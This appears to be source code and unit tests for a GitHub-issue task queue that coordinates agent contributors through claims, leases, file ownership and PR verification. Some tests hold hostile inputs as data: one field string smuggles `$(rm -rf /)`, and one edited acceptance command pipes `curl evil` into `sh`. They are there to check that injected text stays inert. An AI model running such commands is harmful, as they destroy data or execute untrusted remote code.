# SPDX-License-Identifier: GPL-3.0-or-later
"""Thin gh wrapper. Arguments are always passed as lists, never through a shell."""
import json
import subprocess
def gh(*args):
r = subprocess.run(["gh"] + list(args), capture_output=True, text=True)
if r.returncode != 0:
raise RuntimeError("gh %s failed: %s" % (" ".join(args[:2]), r.stderr.strip()[:300]))
return r.stdout
def ndjson(out):
return [json.loads(l) for l in out.splitlines() if l.strip()]
def issue(repo, n):
try:
return json.loads(gh("issue", "view", str(n), "-R", repo, "--json", "number,title,body,state,labels"))
except RuntimeError:
return {"number": n, "title": "", "body": "", "state": "MISSING", "labels": []}
def comments(repo, n):
jq = '.[] | {user: .user.login, body: .body, created_at: .created_at}'
return ndjson(gh("api", "repos/%s/issues/%d/comments" % (repo, n), "--paginate", "--jq", jq))
def open_issues(repo):
return json.loads(gh("issue", "list", "-R", repo, "--state", "open", "--limit", "500",
"--json", "number,title,body,state,labels"))
def pr_data(repo, n):
p = json.loads(gh("pr", "view", str(n), "-R", repo, "--json", "number,author,body,headRefOid,state"))
sha = p["headRefOid"]
when = gh("api", "repos/%s/commits/%s" % (repo, sha), "--jq", ".commit.committer.date").strip()
files = gh("api", "repos/%s/pulls/%d/files" % (repo, n), "--paginate", "--jq", ".[].filename").split()
return {"number": p["number"], "author": p["author"]["login"], "body": p["body"] or "",
"head_sha": sha, "head_pushed_at": when, "files": files, "state": p["state"]}
def open_prs(repo):
nums = [p["number"] for p in json.loads(gh("pr", "list", "-R", repo, "--state", "open", "--limit", "100", "--json", "number"))]
return [pr_data(repo, n) for n in nums]
def gather(repo, with_prs=True, with_comments=True):
"""State for decide/audit/summary: open tasks plus any dependency issues they name."""
from .tasks import parse_task
issues = {i["number"]: i for i in open_issues(repo)}
for i in list(issues.values()):
for d in parse_task(i)["depends"]:
if d not in issues:
issues[d] = issue(repo, d)
state = {"issues": list(issues.values())}
if with_comments:
state["task_comments"] = {str(n): comments(repo, n) for n, i in issues.items()
if any((l["name"] if isinstance(l, dict) else l) == "agent:claimed" for l in i["labels"])}
if with_prs:
state["prs"] = open_prs(repo)
return state
def apply_actions(repo, actions):
for a in actions:
n = str(a["issue"])
for label in a["add_labels"]:
gh("label", "create", label, "-R", repo, "--force", "--color", "BFD4F2")
args = ["issue", "edit", n, "-R", repo]
for l in a["add_labels"]:
args += ["--add-label", l]
for l in a["remove_labels"]:
args += ["--remove-label", l]
if len(args) > 4:
gh(*args)
if a["comment"]:
gh("issue", "comment", n, "-R", repo, "--body", a["comment"])
+73
View File
@@ -0,0 +1,73 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Claim leases. Only the holder's own activity renews one; markers count only from the bot."""
import re
from datetime import timedelta
from .tasks import parse_time
BOT = ["github-actions[bot]"]
GRANT = re.compile(r"<!-- agent-queue:grant issue=(\d+) login=([A-Za-z0-9-]+) -->")
ACCEPT = re.compile(r"<!-- agent-queue:acceptance sha256=([0-9a-f]{64}) -->")
def grant_marker(issue, login):
return "<!-- agent-queue:grant issue=%d login=%s -->" % (issue, login)
def acceptance_marker(digest):
return "<!-- agent-queue:acceptance sha256=%s -->" % digest
def latest_grant(comments, issue, login, bots=BOT):
best = None
for c in comments:
if c["user"] not in bots:
continue
m = GRANT.search(c["body"])
if m and int(m.group(1)) == issue and m.group(2) == login:
t = parse_time(c["created_at"])
best = t if best is None or t > best else best
return best
def lease_start(task, comments, prs, bots=BOT):
"""Latest of grant, holder /progress comment, holder's linked PR push."""
holder, n = task["holder"], task["number"]
times = []
g = latest_grant(comments, n, holder, bots)
if g:
times.append(g)
for c in comments:
if c["user"] == holder and c["body"].lstrip().startswith("/progress"):
times.append(parse_time(c["created_at"]))
for pr in prs:
if pr["author"] == holder and n in linked_issues(pr["body"]) and pr.get("head_pushed_at"):
times.append(parse_time(pr["head_pushed_at"]))
return max(times) if times else None
def lease_end(task, comments, prs, cfg, bots=BOT):
start = lease_start(task, comments, prs, bots)
return None if start is None else start + timedelta(hours=cfg["lease_hours"])
def lapsed(task, comments, prs, cfg, now, bots=BOT):
end = lease_end(task, comments, prs, cfg, bots)
return end is not None and now > end
def linked_issues(body):
return [int(n) for n in re.findall(r"(?i)\b(?:closes|fixes|resolves)\s+#(\d+)", body or "")]
def approved_hash(comments, bots=BOT):
best, best_t = None, None
for c in comments:
if c["user"] not in bots:
continue
m = ACCEPT.search(c["body"])
if m:
t = parse_time(c["created_at"])
if best_t is None or t >= best_t:
best, best_t = m.group(1), t
return best
+78
View File
@@ -0,0 +1,78 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""File ownership patterns: exact paths, directory prefixes ("dir/") and globs ("*", "**")."""
import re
def _norm(p):
p = p.strip().replace("\\", "/")
while p.startswith("./"):
p = p[2:]
return p.lstrip("/")
def _is_glob(p):
return any(c in p for c in "*?[")
def _regex(pattern):
out, i = [], 0
while i < len(pattern):
if pattern.startswith("**/", i):
out.append("(?:.*/)?")
i += 3
elif pattern.startswith("**", i):
out.append(".*")
i += 2
elif pattern[i] == "*":
out.append("[^/]*")
i += 1
elif pattern[i] == "?":
out.append("[^/]")
i += 1
else:
out.append(re.escape(pattern[i]))
i += 1
return re.compile("^" + "".join(out) + "$")
def path_matches(path, pattern):
path, pattern = _norm(path), _norm(pattern)
if not pattern:
return False
if pattern.endswith("/"):
return path.startswith(pattern)
if _is_glob(pattern):
return bool(_regex(pattern).match(path))
return path == pattern
def _prefix(pattern):
"""Literal leading part of a pattern (the whole directory for a "dir/" pattern)."""
for i, c in enumerate(pattern):
if c in "*?[":
return pattern[:i]
return pattern
def patterns_overlap(a, b):
"""True when some path could match both patterns. Errs towards True."""
a, b = _norm(a), _norm(b)
if not a or not b:
return False
a_exact = not _is_glob(a) and not a.endswith("/")
b_exact = not _is_glob(b) and not b.endswith("/")
if a_exact:
return path_matches(a, b)
if b_exact:
return path_matches(b, a)
pa, pb = _prefix(a), _prefix(b)
return pa.startswith(pb) or pb.startswith(pa)
def sets_overlap(files_a, files_b):
"""First overlapping pair (a, b) between two pattern lists, or None."""
for a in files_a:
for b in files_b:
if patterns_overlap(a, b):
return (a, b)
return None
+52
View File
@@ -0,0 +1,52 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Pull request checks computed from data only. PR code is never fetched or run."""
from . import config as cfgmod
from . import lease as L
from .patterns import path_matches, patterns_overlap
from .decide import task_index
def verified_by(pr, comments, tasks, cfg):
"""Eligible verifier logins whose /verified comment names the current head SHA."""
head, out = pr.get("head_sha", ""), []
holders = {tasks[i]["holder"] for i in L.linked_issues(pr.get("body")) if i in tasks}
for c in comments:
parts = c["body"].strip().split("\n", 1)[0].split()
if len(parts) < 2 or parts[0] != "/verified" or len(parts[1]) < 7:
continue
who = c["user"]
if (head.startswith(parts[1]) and who != pr.get("author") and who not in holders
and cfgmod.is_verifier(cfg, who) and who not in out):
out.append(who)
return out
def check_pr(state, cfg, now):
pr, comments = state["pr"], state.get("pr_comments", [])
tasks = task_index(state)
problems = []
links = [i for i in L.linked_issues(pr.get("body")) if i in tasks]
if not links:
problems.append("no linked task: the pull request body must contain `Closes #N` for a claimed task")
for n in links:
t = tasks[n]
if "agent:claimed" not in t["labels"]:
problems.append("task #%d is not claimed" % n)
continue
if t["holder"] != pr["author"]:
problems.append("task #%d is held by %s, not the pull request author" % (n, t["holder"] or "nobody"))
outside = [f for f in pr.get("files", []) if not any(path_matches(f, p) for p in t["files"])]
if outside:
problems.append("files outside task #%d ownership: %s" % (n, ", ".join(outside[:10])))
if L.lapsed(t, state.get("task_comments", {}).get(str(n), []), [pr], cfg, now):
problems.append("task #%d claim has lapsed and the head has not been pushed within %s hours" % (n, cfg["lease_hours"]))
for other in state.get("prs", []):
if other["number"] == pr["number"]:
continue
shared = sorted(set(pr.get("files", [])) & set(other.get("files", [])))
if shared:
problems.append("overlaps open PR #%d on: %s" % (other["number"], ", ".join(shared[:10])))
ok_by = verified_by(pr, comments, tasks, cfg)
if not ok_by:
problems.append("independent verification missing: an eligible verifier must comment `/verified %s`" % pr.get("head_sha", "")[:12])
return {"pr": pr["number"], "ok": not problems, "problems": problems, "verified_by": ok_by}
+68
View File
@@ -0,0 +1,68 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Queue-wide views: machine-readable summary and the scheduled audit."""
from . import config as cfgmod
from . import lease as L
from . import tasks as T
from .decide import task_index
from .patterns import sets_overlap
def summary(state, now_iso=""):
tasks = task_index(state)
by_area, rows = {}, []
for n in sorted(tasks):
t = tasks[n]
if t["state"] != "OPEN" or not any(l.startswith("agent:") for l in t["labels"]):
continue
st = T.task_state(t)
area = t["area"] or "unset"
by_area.setdefault(area, {}).setdefault(t["priority"], {}).setdefault(st, []).append(n)
rows.append({"number": n, "title": t["title"], "area": area, "priority": t["priority"],
"state": st, "holder": t["holder"], "depends": t["depends"], "files": t["files"]})
counts = {}
for r in rows:
counts[r["state"]] = counts.get(r["state"], 0) + 1
prs = [{"number": p["number"], "author": p["author"], "head_sha": p.get("head_sha", ""),
"links": L.linked_issues(p.get("body")), "files": len(p.get("files", []))}
for p in state.get("prs", [])]
return {"generated_at": now_iso, "totals": counts, "by_area": by_area, "tasks": rows, "pull_requests": prs}
def audit(state, cfg, now):
"""Actions that lapse stale claims and mark invalid or conflicting tasks."""
tasks = task_index(state)
actions = []
cycle_nodes = {n for cyc in T.find_cycles(tasks) for n in cyc}
claimed = [t for t in tasks.values() if t["state"] == "OPEN" and "agent:claimed" in t["labels"]]
for t in sorted(claimed, key=lambda x: x["number"]):
comments = state.get("task_comments", {}).get(str(t["number"]), [])
if "agent:blocked" in t["labels"]:
continue
if L.lapsed(t, comments, state.get("prs", []), cfg, now):
actions.append({"issue": t["number"], "add_labels": ["agent:ready"],
"remove_labels": ["agent:claimed", "claimed-by:" + t["holder"]],
"comment": "Claim lapsed after %s hours without progress; the task is back in the queue." % cfg["lease_hours"]})
lapsed_nums = {a["issue"] for a in actions}
for i, a in enumerate(claimed):
for b in claimed[i + 1:]:
hit = sets_overlap(a["files"], b["files"])
if hit:
for x, y in ((a, b), (b, a)):
if "agent:conflict" not in x["labels"] and x["number"] not in lapsed_nums:
actions.append({"issue": x["number"], "add_labels": ["agent:conflict"], "remove_labels": [],
"comment": "File overlap with claimed task #%d (`%s` vs `%s`). A maintainer must resolve it." % (y["number"], hit[0], hit[1])})
for t in sorted(tasks.values(), key=lambda x: x["number"]):
if t["state"] != "OPEN" or "agent:ready" not in t["labels"]:
continue
d = T.dep_problems(t, tasks)
if d["missing"] or d["cycle"] or t["number"] in cycle_nodes:
why = ("missing dependencies %s" % d["missing"]) if d["missing"] else "dependency cycle %s" % d["cycle"]
actions.append({"issue": t["number"], "add_labels": ["agent:invalid"], "remove_labels": ["agent:ready"],
"comment": "Marked invalid: %s. Fix the Depends on field to return it to the queue." % why})
for t in sorted(tasks.values(), key=lambda x: x["number"]):
if t["state"] == "OPEN" and "agent:invalid" in t["labels"] and "agent:claimed" not in t["labels"]:
d = T.dep_problems(t, tasks)
if not d["missing"] and not d["cycle"]:
actions.append({"issue": t["number"], "add_labels": ["agent:ready"], "remove_labels": ["agent:invalid"],
"comment": "Dependencies are valid again; the task is back in the queue."})
return actions
+141
View File
@@ -0,0 +1,141 @@
# SPDX-License-Identifier: GPL-3.0-or-later
"""Parse issue-form bodies into tasks and validate dependencies. Text is data only."""
import hashlib
import re
from datetime import datetime, timezone
from . import config as cfgmod
SECTION = re.compile(r"^###\s+(.+?)\s*$", re.M)
def sections(body):
body = (body or "").replace("\r\n", "\n")
marks = list(SECTION.finditer(body))
out = {}
for i, m in enumerate(marks):
end = marks[i + 1].start() if i + 1 < len(marks) else len(body)
text = body[m.end():end].strip()
out[m.group(1).strip().lower()] = "" if text == "_No response_" else text
return out
def _lines(text):
res = []
for line in text.splitlines():
line = line.strip()
if line.startswith(("- ", "* ")):
line = line[2:].strip()
line = line.strip("`").strip()
if line:
res.append(line)
return res
def normalise_acceptance(text):
lines = [l.strip() for l in (text or "").replace("\r\n", "\n").split("\n")]
while lines and lines[0].startswith("```"):
lines.pop(0)
while lines and lines[-1].startswith("```"):
lines.pop()
lines = [" ".join(l.split()) for l in lines if l]
return "\n".join(lines)
def acceptance_hash(text):
return hashlib.sha256(normalise_acceptance(text).encode("utf-8")).hexdigest()
def label_names(issue):
out = []
for l in issue.get("labels") or []:
out.append(l["name"] if isinstance(l, dict) else str(l))
return out
def holder_of(labels):
for l in labels:
if l.startswith("claimed-by:"):
return l[len("claimed-by:"):]
return ""
def label_value(labels, prefix):
for l in labels:
if l.startswith(prefix):
return l[len(prefix):]
return ""
def parse_task(issue):
"""Build a plain dict task from a gh issue dict {number,title,body,state,labels}."""
sec = sections(issue.get("body"))
labels = label_names(issue)
area = sec.get("area", "").strip().lower() or label_value(labels, "area:")
prio = sec.get("priority", "").strip().lower() or label_value(labels, "priority:")
return {
"number": int(issue["number"]),
"title": issue.get("title", ""),
"state": str(issue.get("state", "OPEN")).upper(),
"labels": labels,
"area": area if area in cfgmod.AREAS else "",
"priority": prio if prio in cfgmod.PRIORITIES else "medium",
"files": _lines(sec.get("files", "")),
"depends": sorted({int(n) for n in re.findall(r"#(\d+)", sec.get("depends on", ""))}),
"acceptance": sec.get("acceptance command", ""),
"interface": sec.get("interface", ""),
"holder": holder_of(labels),
}
def task_state(t):
if t["state"] != "OPEN":
return "closed"
for name in ("invalid", "conflict", "blocked", "claimed", "ready"):
if "agent:" + name in t["labels"]:
return name
return "untracked"
def parse_time(s):
return datetime.strptime(s, "%Y-%m-%dT%H:%M:%SZ").replace(tzinfo=timezone.utc)
def find_cycles(tasks):
"""Cycles among open tasks. tasks: {number: task}. Returns list of number lists."""
openset = {n for n, t in tasks.items() if t["state"] == "OPEN"}
color, stack, cycles = {}, [], []
def visit(n):
color[n] = 1
stack.append(n)
for d in tasks[n]["depends"]:
if d not in openset:
continue
if color.get(d) == 1:
cycles.append(stack[stack.index(d):] + [d])
elif d not in color:
visit(d)
stack.pop()
color[n] = 2
for n in sorted(openset):
if n not in color:
visit(n)
return cycles
def dep_problems(task, tasks):
"""Dependency problems for one task: missing, open and cyclic dependencies."""
res = {"missing": [], "open": [], "cycle": []}
for d in task["depends"]:
dep = tasks.get(d)
if dep is None or dep["state"] == "MISSING":
res["missing"].append(d)
elif dep["state"] == "OPEN":
res["open"].append(d)
for cyc in find_cycles(tasks):
if task["number"] in cyc:
res["cycle"] = cyc
break
return res
+42
View File
@@ -0,0 +1,42 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import os
import sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "..", "scripts"))
from agent_queue import config as cfgmod # noqa: E402
from agent_queue.tasks import parse_time # noqa: E402
ROOT = os.path.join(os.path.dirname(__file__), "..", "..")
CFG = cfgmod.parse(json.dumps({
"lease_hours": 24, "upstream": "o/r", "maintainers": ["maint"],
"contributors": {"maint": ["cpu", "shared", "qa"], "gpuer": ["gpu", "shared"],
"rt": ["runtime"], "qaer": ["qa"]},
}))
NOW = parse_time("2026-01-10T12:00:00Z")
def body(area="gpu", files="src/gpu/a.rs", deps="", acceptance="cargo test -p gpu", prio="high", interface=""):
return ("### Area\n\n%s\n\n### Priority\n\n%s\n\n### Goal\n\ng\n\n### Files\n\n%s\n\n### Acceptance command\n\n%s\n\n"
"### Depends on\n\n%s\n\n### Interface\n\n%s\n\n### Context\n\n_No response_\n") % (
area, prio, files, acceptance, deps or "_No response_", interface or "_No response_")
def issue(n, labels=("agent:ready",), state="OPEN", title=None, **kw):
return {"number": n, "title": title or "task %d" % n, "state": state,
"labels": [{"name": l} for l in labels], "body": body(**kw)}
def comment(user, text, at="2026-01-10T10:00:00Z"):
return {"user": user, "body": text, "created_at": at}
def state(*issues, **extra):
s = {"issues": list(issues), "prs": [], "task_comments": {}}
s.update(extra)
return s
def event(actor, text, n=1, kind="issue"):
return {"kind": kind, "number": n, "actor": actor, "body": text}
+124
View File
@@ -0,0 +1,124 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
from helpers import CFG, comment, event, issue, state
from agent_queue.decide import decide
from agent_queue.lease import GRANT
def one(actions):
assert len(actions) == 1, actions
return actions[0]
class Claim(unittest.TestCase):
def claim(self, st, actor="gpuer", n=1):
return one(decide(event(actor, "/claim", n), st, CFG))
def test_granted(self):
a = self.claim(state(issue(1)))
self.assertIn("claimed-by:gpuer", a["add_labels"])
self.assertIn("agent:ready", a["remove_labels"])
m = GRANT.search(a["comment"])
self.assertEqual((m.group(1), m.group(2)), ("1", "gpuer"))
def test_not_ready(self):
a = self.claim(state(issue(1, labels=("agent:claimed", "claimed-by:rt"), area="runtime")))
self.assertIn("not claimable", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_wrong_area(self):
a = self.claim(state(issue(1, area="cpu")))
self.assertIn("not allowed", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_maintainer_any_area(self):
a = self.claim(state(issue(1, area="gpu")), actor="maint")
self.assertIn("claimed-by:maint", a["add_labels"])
def test_open_dependency(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, labels=())))
self.assertIn("open dependencies: #2", a["comment"])
def test_closed_dependency_ok(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, labels=(), state="CLOSED")))
self.assertIn("agent:claimed", a["add_labels"])
def test_missing_dependency(self):
a = self.claim(state(issue(1, deps="#9")))
self.assertIn("not found: #9", a["comment"])
def test_cycle(self):
a = self.claim(state(issue(1, deps="#2"), issue(2, deps="#1", files="other/")))
self.assertIn("cycle", a["comment"])
def test_overlap_named(self):
held = issue(2, labels=("agent:claimed", "claimed-by:rt"), area="runtime", files="src/gpu/")
a = self.claim(state(issue(1, files="src/gpu/a.rs"), held))
self.assertIn("overlap with claimed task #2", a["comment"])
self.assertEqual(a["add_labels"], [])
def test_unclaimed_overlap_allowed(self):
a = self.claim(state(issue(1, files="src/gpu/a.rs"), issue(2, files="src/gpu/")))
self.assertIn("agent:claimed", a["add_labels"])
def test_non_command_ignored(self):
self.assertEqual(decide(event("gpuer", "thanks /claim later"), state(issue(1)), CFG), [])
class Lifecycle(unittest.TestCase):
held = ("agent:claimed", "claimed-by:gpuer")
def run_cmd(self, actor, text, labels=held, **kw):
return decide(event(actor, text), state(issue(1, labels=labels, **kw)), CFG)
def test_release_holder_and_maintainer(self):
for who in ("gpuer", "maint"):
a = one(self.run_cmd(who, "/release"))
self.assertIn("agent:ready", a["add_labels"])
self.assertIn("claimed-by:gpuer", a["remove_labels"])
def test_release_other_refused(self):
a = one(self.run_cmd("rt", "/release"))
self.assertEqual(a["add_labels"], [])
self.assertIn("Only the holder", a["comment"])
def test_reassign(self):
a = one(self.run_cmd("maint", "/reassign rt", area="runtime"))
self.assertIn("claimed-by:rt", a["add_labels"])
self.assertIn("claimed-by:gpuer", a["remove_labels"])
self.assertIn("login=rt", a["comment"])
def test_reassign_refusals(self):
self.assertIn("Only a maintainer", one(self.run_cmd("gpuer", "/reassign rt", area="runtime"))["comment"])
self.assertIn("not allowed", one(self.run_cmd("maint", "/reassign rt"))["comment"])
def test_progress_holder_only_and_needs_text(self):
self.assertIn("renewed", one(self.run_cmd("gpuer", "/progress parser done"))["comment"])
self.assertIn("Only the holder", one(self.run_cmd("rt", "/progress parser done"))["comment"])
self.assertIn("not renewed", one(self.run_cmd("gpuer", "/progress"))["comment"])
def test_blocked_unblock(self):
a = one(self.run_cmd("gpuer", "/blocked waiting on #5"))
self.assertEqual(a["add_labels"], ["agent:blocked"])
self.assertEqual(one(self.run_cmd("rt", "/blocked x"))["add_labels"], [])
self.assertEqual(one(self.run_cmd("maint", "/unblock", labels=self.held + ("agent:blocked",)))["remove_labels"], ["agent:blocked"])
def test_approve_acceptance_maintainer_only(self):
a = one(self.run_cmd("maint", "/approve-acceptance"))
self.assertIn("agent-queue:acceptance sha256=", a["comment"])
self.assertNotIn("agent-queue:acceptance", one(self.run_cmd("gpuer", "/approve-acceptance"))["comment"])
class Inert(unittest.TestCase):
def test_metacharacters_stay_data(self):
evil = "x`id`; $(rm -rf /) | \"'"
a = decide(event("gpuer", "/claim " + evil), state(issue(1, files=evil + "\nsrc/gpu/a.rs", acceptance=evil)), CFG)
self.assertEqual(len(a), 1)
out = decide(event("maint", "/blocked " + evil), state(issue(1, labels=("agent:claimed", "claimed-by:gpuer"))), CFG)
self.assertIn(evil, one(out)["comment"])
self.assertEqual(one(out)["add_labels"], ["agent:blocked"])
if __name__ == "__main__":
unittest.main()
+93
View File
@@ -0,0 +1,93 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
from helpers import CFG, NOW, body, comment, issue, state
from agent_queue import lease as L, tasks as T
from agent_queue.queue import audit
BOT = "github-actions[bot]"
HELD = ("agent:claimed", "claimed-by:gpuer")
def task():
return T.parse_task(issue(1, labels=HELD))
def grant(at):
return comment(BOT, L.grant_marker(1, "gpuer"), at)
class Lease(unittest.TestCase):
def test_lapses_after_lease_hours(self):
c = [grant("2026-01-09T11:00:00Z")]
self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
self.assertFalse(L.lapsed(task(), [grant("2026-01-09T13:00:00Z")], [], CFG, NOW))
def test_holder_progress_renews(self):
c = [grant("2026-01-09T11:00:00Z"), comment("gpuer", "/progress did x", "2026-01-10T09:00:00Z")]
self.assertFalse(L.lapsed(task(), c, [], CFG, NOW))
def test_others_comments_do_not_renew(self):
c = [grant("2026-01-09T11:00:00Z"), comment("rt", "/progress did x", "2026-01-10T09:00:00Z"),
comment("gpuer", "just chatting", "2026-01-10T09:00:00Z")]
self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
def test_forged_grant_marker_ignored(self):
c = [grant("2026-01-09T11:00:00Z"), comment("rt", L.grant_marker(1, "gpuer"), "2026-01-10T11:00:00Z")]
self.assertTrue(L.lapsed(task(), c, [], CFG, NOW))
def test_linked_pr_push_renews(self):
pr = {"author": "gpuer", "body": "Closes #1", "head_pushed_at": "2026-01-10T08:00:00Z"}
self.assertFalse(L.lapsed(task(), [grant("2026-01-09T11:00:00Z")], [pr], CFG, NOW))
other = dict(pr, author="rt")
self.assertTrue(L.lapsed(task(), [grant("2026-01-09T11:00:00Z")], [other], CFG, NOW))
def test_audit_lapses_and_skips_blocked(self):
st = state(issue(1, labels=HELD), task_comments={"1": [grant("2026-01-09T11:00:00Z")]})
a = audit(st, CFG, NOW)
self.assertEqual(a[0]["issue"], 1)
self.assertIn("agent:ready", a[0]["add_labels"])
st = state(issue(1, labels=HELD + ("agent:blocked",)), task_comments={"1": [grant("2026-01-09T11:00:00Z")]})
self.assertEqual(audit(st, CFG, NOW), [])
def test_audit_invalid_cycle_and_missing(self):
st = state(issue(1, deps="#2"), issue(2, deps="#1", files="b/"), issue(3, deps="#99", files="c/"))
marked = {a["issue"]: a for a in audit(st, CFG, NOW)}
self.assertEqual(sorted(marked), [1, 2, 3])
self.assertIn("agent:invalid", marked[3]["add_labels"])
def test_audit_recovers_invalid(self):
st = state(issue(1, labels=("agent:invalid",)))
self.assertEqual(audit(st, CFG, NOW)[0]["add_labels"], ["agent:ready"])
class Acceptance(unittest.TestCase):
def test_hash_ignores_whitespace_and_fences(self):
self.assertEqual(T.acceptance_hash("cargo test\n"), T.acceptance_hash("```sh\ncargo test\n```"))
self.assertNotEqual(T.acceptance_hash("cargo test"), T.acceptance_hash("cargo test -- x"))
def test_mismatch_after_body_edit(self):
approved = L.acceptance_marker(T.acceptance_hash("cargo test -p gpu"))
cs = [comment(BOT, approved)]
self.assertEqual(L.approved_hash(cs), T.acceptance_hash(T.parse_task(issue(1))["acceptance"]))
edited = T.parse_task(issue(1, acceptance="cargo test -p gpu; curl evil | sh"))
self.assertNotEqual(L.approved_hash(cs), T.acceptance_hash(edited["acceptance"]))
def test_approval_from_non_bot_ignored(self):
cs = [comment("rt", L.acceptance_marker("0" * 64))]
self.assertIsNone(L.approved_hash(cs))
class Deps(unittest.TestCase):
def test_parse_fields_and_empty(self):
t = T.parse_task(issue(1, deps="#3, #2", interface="gpu-abi v2", prio="critical"))
self.assertEqual((t["depends"], t["interface"], t["priority"]), ([2, 3], "gpu-abi v2", "critical"))
e = T.parse_task(issue(1))
self.assertEqual(e["depends"], [])
self.assertEqual(e["interface"], "")
def test_cycle_report(self):
ts = {n: T.parse_task(issue(n, deps=d)) for n, d in ((1, "#2"), (2, "#3"), (3, "#1"), (4, ""))}
cyc = T.find_cycles(ts)
self.assertEqual(len(cyc), 1)
self.assertEqual(sorted(set(cyc[0])), [1, 2, 3])
+33
View File
@@ -0,0 +1,33 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import unittest
import helpers # noqa: F401
from agent_queue.patterns import patterns_overlap as ov, path_matches as pm, sets_overlap
class Patterns(unittest.TestCase):
def test_matches(self):
self.assertTrue(pm("a/b.rs", "a/b.rs"))
self.assertTrue(pm("a/b/c.rs", "a/"))
self.assertFalse(pm("ab/c.rs", "a/"))
self.assertTrue(pm("a/b.rs", "a/*.rs"))
self.assertFalse(pm("a/x/b.rs", "a/*.rs"))
self.assertTrue(pm("a/x/y/b.rs", "a/**/b.rs"))
self.assertTrue(pm("a/b.rs", "a/**/b.rs"))
self.assertTrue(pm("a/x/y.rs", "a/**"))
def test_overlap_exact_dir_glob(self):
self.assertTrue(ov("a/b.rs", "a/b.rs"))
self.assertFalse(ov("a/b.rs", "a/c.rs"))
self.assertTrue(ov("a/", "a/b/c.rs"))
self.assertTrue(ov("a/b/", "a/"))
self.assertFalse(ov("a/", "b/"))
self.assertTrue(ov("a/**", "a/x/y.rs"))
self.assertTrue(ov("a/*.rs", "a/"))
self.assertTrue(ov("a/**/gpu/*.rs", "a/x/"))
self.assertFalse(ov("a/x*", "a/y*"))
self.assertFalse(ov("a/b.rs", "a/*.txt"))
def test_sets(self):
self.assertEqual(sets_overlap(["x/a.rs", "y/"], ["z.rs", "y/q.rs"]), ("y/", "y/q.rs"))
self.assertIsNone(sets_overlap(["x/a.rs"], ["y/"]))
+110
View File
@@ -0,0 +1,110 @@
# SPDX-License-Identifier: GPL-3.0-or-later
import json
import unittest
from helpers import CFG, NOW, issue, state
from agent_queue import lease as L
from agent_queue.decide import decide
from agent_queue.prcheck import check_pr
from agent_queue.queue import summary
BOT = "github-actions[bot]"
SHA = "a" * 40
HELD = ("agent:claimed", "claimed-by:gpuer")
def pr(n=10, author="gpuer", files=("src/gpu/a.rs",), body="Closes #1", sha=SHA):
return {"number": n, "author": author, "body": body, "head_sha": sha,
"head_pushed_at": "2026-01-10T11:00:00Z", "files": list(files), "state": "OPEN"}
def run(p, comments=(), others=(), issues=None):
st = state(*(issues or [issue(1, labels=HELD)]), prs=[p] + list(others),
task_comments={"1": [{"user": BOT, "body": L.grant_marker(1, "gpuer"), "created_at": "2026-01-10T01:00:00Z"}]})
st["pr"], st["pr_comments"] = p, list(comments)
return check_pr(st, CFG, NOW)
def vc(user, sha=SHA[:12]):
return {"user": user, "body": "/verified " + sha, "created_at": "2026-01-10T11:30:00Z"}
class PRChecks(unittest.TestCase):
def test_clean_pr_passes(self):
r = run(pr(), [vc("qaer")])
self.assertTrue(r["ok"], r)
self.assertEqual(r["verified_by"], ["qaer"])
def test_missing_link(self):
r = run(pr(body="no link"), [vc("qaer")])
self.assertFalse(r["ok"])
self.assertIn("no linked task", r["problems"][0])
def test_ownership_violation(self):
r = run(pr(files=("src/gpu/a.rs", "src/cpu/x.rs")), [vc("qaer")])
self.assertFalse(r["ok"])
self.assertTrue(any("outside task #1" in p and "src/cpu/x.rs" in p for p in r["problems"]))
def test_cross_pr_overlap(self):
other = pr(n=11, author="rt", files=("src/gpu/a.rs",), body="Closes #2")
r = run(pr(), [vc("qaer")], others=[other])
self.assertTrue(any("overlaps open PR #11" in p for p in r["problems"]))
def test_task_held_by_someone_else(self):
r = run(pr(author="rt"), [vc("qaer")])
self.assertTrue(any("not the pull request author" in p for p in r["problems"]))
def test_unverified(self):
r = run(pr())
self.assertTrue(any("verification missing" in p for p in r["problems"]))
def test_verification_by_author_or_holder_rejected(self):
self.assertFalse(run(pr(), [vc("gpuer")])["ok"])
# holder of the linked task who is not the author
r = run(pr(author="maint"), [vc("gpuer")])
self.assertEqual(r["verified_by"], [])
def test_verification_by_ineligible_rejected(self):
self.assertEqual(run(pr(), [vc("rt")])["verified_by"], [])
def test_stale_sha_rejected(self):
r = run(pr(), [vc("deadbeef00")])
self.assertEqual(r["verified_by"], [])
self.assertFalse(r["ok"])
def test_lapsed_claim_and_stale_head(self):
p = pr()
p["head_pushed_at"] = "2026-01-08T00:00:00Z"
st = state(issue(1, labels=HELD), prs=[p], task_comments={"1": [
{"user": BOT, "body": L.grant_marker(1, "gpuer"), "created_at": "2026-01-08T00:00:00Z"}]})
st["pr"], st["pr_comments"] = p, [vc("qaer")]
self.assertTrue(any("lapsed" in x for x in check_pr(st, CFG, NOW)["problems"]))
class VerifiedCommand(unittest.TestCase):
def go(self, actor, sha=SHA[:12], author="gpuer"):
st = state(issue(1, labels=HELD))
st["pr"] = pr(author=author)
ev = {"kind": "pr", "number": 10, "actor": actor, "body": "/verified " + sha}
return decide(ev, st, CFG)[0]["comment"]
def test_outcomes(self):
self.assertIn("recorded", self.go("qaer"))
self.assertIn("author cannot", self.go("gpuer"))
self.assertIn("holds the linked task", self.go("gpuer", author="maint"))
self.assertIn("may not verify", self.go("rt"))
self.assertIn("not the current head", self.go("qaer", sha="1234567"))
class Summary(unittest.TestCase):
def test_shape_and_json(self):
st = state(issue(1), issue(2, labels=HELD, area="cpu", prio="low"), issue(3, labels=("bug",)))
st["prs"] = [pr()]
s = json.loads(json.dumps(summary(st, "2026-01-10T12:00:00Z")))
self.assertEqual(set(s), {"generated_at", "totals", "by_area", "tasks", "pull_requests"})
